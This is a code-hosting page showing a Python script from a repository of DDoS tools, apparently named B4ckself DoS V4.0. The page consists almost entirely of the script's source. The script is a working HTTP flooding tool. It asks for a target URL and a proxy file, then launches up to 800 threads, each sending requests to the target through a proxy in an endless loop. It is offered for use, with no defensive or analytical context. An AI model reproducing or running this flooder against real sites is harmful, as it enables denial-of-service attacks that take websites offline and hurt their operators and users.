Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/B4ckselfV4.py
4607 views
1
import urllib.request, os, threading, time, random, sys
2
3
4
5
6
7
class Spammer(threading.Thread):
8
9
def __init__(self, url, number, proxy):
10
threading.Thread.__init__(self)
11
self.url = url
12
self.num = number
13
self.headers = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' }
14
self.Lock = threading.Lock()
15
self.proxy = proxy
16
17
18
def request(self):
19
data = None
20
proxy = urllib.request.ProxyHandler({'http': self.proxy})
21
opener = urllib.request.build_opener(proxy)
22
urllib.request.install_opener(opener)
23
req = urllib.request.Request(self.url, data, self.headers)
24
urllib.request.urlopen(req)
25
sys.stdout.write("Thread #%s Proxy@%s"%(self.num, self.proxy))
26
27
def run(self):
28
global Close, Request, Tot_req
29
self.Lock.acquire()
30
print ('Starting thread #{0}'.format(self.num))
31
self.Lock.release()
32
time.sleep(1)
33
while True:
34
try:
35
self.request()
36
except:
37
sys.stdout.write("Thread #%s Connection Proxy Lost...exiting\n"%(self.num))
38
sys.exit(0)
39
sys.exit(0)
40
41
42
class MainLoop():
43
44
45
46
def check_url(self, url):
47
if url[0]+url[1]+url[2]+url[3] == "www.":
48
url = "http://" + url
49
elif url[0]+url[1]+url[2]+url[3] == "http":
50
pass
51
else:
52
url = "http://" + url
53
return url
54
55
56
def home(self):
57
global Close, Request, Tot_req
58
if os.name in ("nt", "dos", "ce"):
59
os.system('title ........::::: B4ckself DoS V4.0 :::::........ Python 3.3.3')
60
os.system('color a')
61
color = ['a', 'b', 'c', 'd', 'e', 'f']
62
os.system('color %s' % (color[random.randrange(0, 5, 1)]))
63
print ('\n ###################################\n')
64
print (' 01010o.....::B4ckself DoS V4.0::.....o01010\n')
65
print (' #################################################')
66
print ('\n\t A DoS Concept for HTTP site, Coded by B4ckdoor skype: b4ckdoor.porn\n')
67
print ('\t ProxyHandling by Sikh887 \n\n')
68
while True:
69
url = input('> Enter Url to DoS: ')
70
url = self.check_url(url)
71
try:
72
req = urllib.request.Request(url, None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'})
73
response = urllib.request.urlopen(req)
74
break
75
except:
76
print ('> Could not open specified url.')
77
try:
78
lista = str(input('> Enter the list of proxy: '))
79
in_file = open(lista,"r")
80
except:
81
print ('Error to read file.')
82
try:
83
num_threads = int(input('> Enter the number of thread [800]: '))
84
except:
85
num_threads = 800
86
87
88
for i in range(num_threads):
89
in_line = in_file.readline()
90
Spammer(url, i + 1, in_line).start()
91
in_line = in_line[:-1]
92
93
if __name__ == '__main__':
94
MainLoop().home()
95